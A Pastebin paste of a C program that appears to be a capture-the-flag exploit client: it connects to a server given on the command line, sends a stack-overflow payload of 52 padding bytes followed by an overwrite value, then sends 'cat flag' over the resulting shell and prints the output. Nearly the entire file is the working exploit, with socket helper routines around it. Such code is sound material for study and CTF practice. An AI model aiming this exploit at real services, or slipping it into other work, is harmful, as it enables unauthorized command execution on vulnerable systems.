Advertisement
MikeWalkerMRU

Untitled

Jun 4th, 2020
1,082
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.34 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netdb.h>
  6. #include <arpa/inet.h>
  7. #include <netinet/in.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10.  
  11. typedef struct
  12. {
  13.         int fd;
  14.         int is_done;
  15.         size_t pos;
  16.         size_t buflen;
  17.         char buf[BUFSIZ];
  18. } TEXTSCK;
  19.  
  20. char *ChompWS(char *str);
  21. int netgetc(TEXTSCK *stream);
  22. void textsckinit(TEXTSCK *stream, int fd);
  23. char *netgets(char *str, size_t size, TEXTSCK *stream);
  24.  
  25. int EstablishConnection(const char *host, const char *service_str);
  26. int GetData(int sock);
  27.  
  28. char *payload = {
  29.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // 52 bytes
  30.     "\xbe\xba\xfe\xca"
  31.     "\n"};
  32.  
  33. int main(int argc, char **argv)
  34. {
  35.         if (argc < 3)
  36.         {
  37.                 printf("usage: %s server port\n", argv[0]);
  38.                 return 1;
  39.         }
  40.  
  41.         int sock = EstablishConnection(argv[1], argv[2]);
  42.  
  43.         if (sock <= 0)
  44.         {
  45.                 printf("Failed to connect to server\n");
  46.                 return 1;
  47.         }
  48.  
  49.         size_t sz_pl = strlen(payload);
  50.  
  51.         int nsent = send(sock, payload, sz_pl, 0);
  52.         if (nsent != sz_pl)
  53.                 fprintf(stderr, "something went wrong send()\n");
  54.  
  55.         printf("sent %d bytes\n", nsent);
  56.         printf("payload %s", payload);
  57.  
  58.         sleep(1);
  59.         nsent = send(sock, "cat flag\n", sizeof("cat flag\n"), 0);
  60.         if (nsent != sz_pl)
  61.                 fprintf(stderr, "something went wrong send()\n");
  62.  
  63.         GetData(sock);
  64.         close(sock);
  65.  
  66.         return 0;
  67. }
  68.  
  69. int GetData(int sock)
  70. {
  71.         TEXTSCK stream;
  72.         char buf[1000];
  73.  
  74.         textsckinit(&stream, sock);
  75.  
  76.         while (1)
  77.         {
  78.                 if (netgets(buf, sizeof buf, &stream) == NULL)
  79.                         break;
  80.                 puts(buf);
  81.         }
  82.  
  83.         return 0;
  84. }
  85.  
  86. int EstablishConnection(const char *host, const char *service_str)
  87. {
  88.         struct addrinfo hints;
  89.         struct addrinfo *listp = NULL;
  90.         struct addrinfo *p = NULL;
  91.         int status;
  92.         int sck = -1;
  93.  
  94.         memset(&hints, 0, sizeof hints);
  95.         hints.ai_family = AF_INET;
  96.         hints.ai_socktype = SOCK_STREAM;
  97.         hints.ai_flags = AI_CANONNAME | AI_ALL | AI_ADDRCONFIG;
  98.  
  99.         status = getaddrinfo(host, service_str, &hints, &listp);
  100.         if (status != 0)
  101.         {
  102.                 printf("getaddrinfo error: (%s)\n", gai_strerror(status));
  103.                 goto done;
  104.         }
  105.  
  106.         for (p = listp; p; p = p->ai_next)
  107.         {
  108.                 sck = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
  109.                 if (sck < 0)
  110.                         continue;
  111.  
  112.                 struct timeval timeout;
  113.                 timeout.tv_sec = 2;
  114.                 timeout.tv_usec = 0;
  115.                 if (setsockopt(sck, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)) < 0)
  116.                 {
  117.                         close(sck);
  118.                         goto done;
  119.                 }
  120.  
  121.                 if (connect(sck, p->ai_addr, p->ai_addrlen) != -1)
  122.                         goto done;
  123.  
  124.                 close(sck);
  125.         }
  126.         printf("all connects failed\n");
  127.  
  128.         close(sck);
  129. done:
  130.         if (listp != NULL)
  131.                 freeaddrinfo(listp);
  132.         return sck;
  133. }
  134.  
  135. void textsckinit(TEXTSCK *stream, int fd)
  136. {
  137.         stream->fd = fd;
  138.         stream->is_done = 0;
  139.         stream->pos = 0;
  140.         stream->buflen = 0;
  141. }
  142.  
  143. int netgetc(TEXTSCK *stream)
  144. {
  145.         if (stream->is_done)
  146.                 return EOF;
  147.  
  148.         if (stream->pos == stream->buflen)
  149.         {
  150.                 ssize_t nread = read(stream->fd, stream->buf, sizeof(stream->buf));
  151.                 if (nread <= 0)
  152.                         stream->is_done = 1;
  153.  
  154.                 stream->pos = 0;
  155.                 stream->buflen = nread;
  156.         }
  157.  
  158.         return stream->buf[stream->pos++];
  159. }
  160.  
  161. char *netgets(char *str, size_t size, TEXTSCK *stream)
  162. {
  163.         char *s = str;
  164.         int c = 0;
  165.  
  166.         if (stream->is_done)
  167.                 return NULL;
  168.  
  169.         for (size_t i = 0; i != size - 1 && c != '\n'; i++)
  170.         {
  171.                 c = netgetc(stream);
  172.                 if (c == EOF)
  173.                         break;
  174.  
  175.                 *s++ = c;
  176.         }
  177.  
  178.         *s = '\0';
  179.         return str;
  180. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement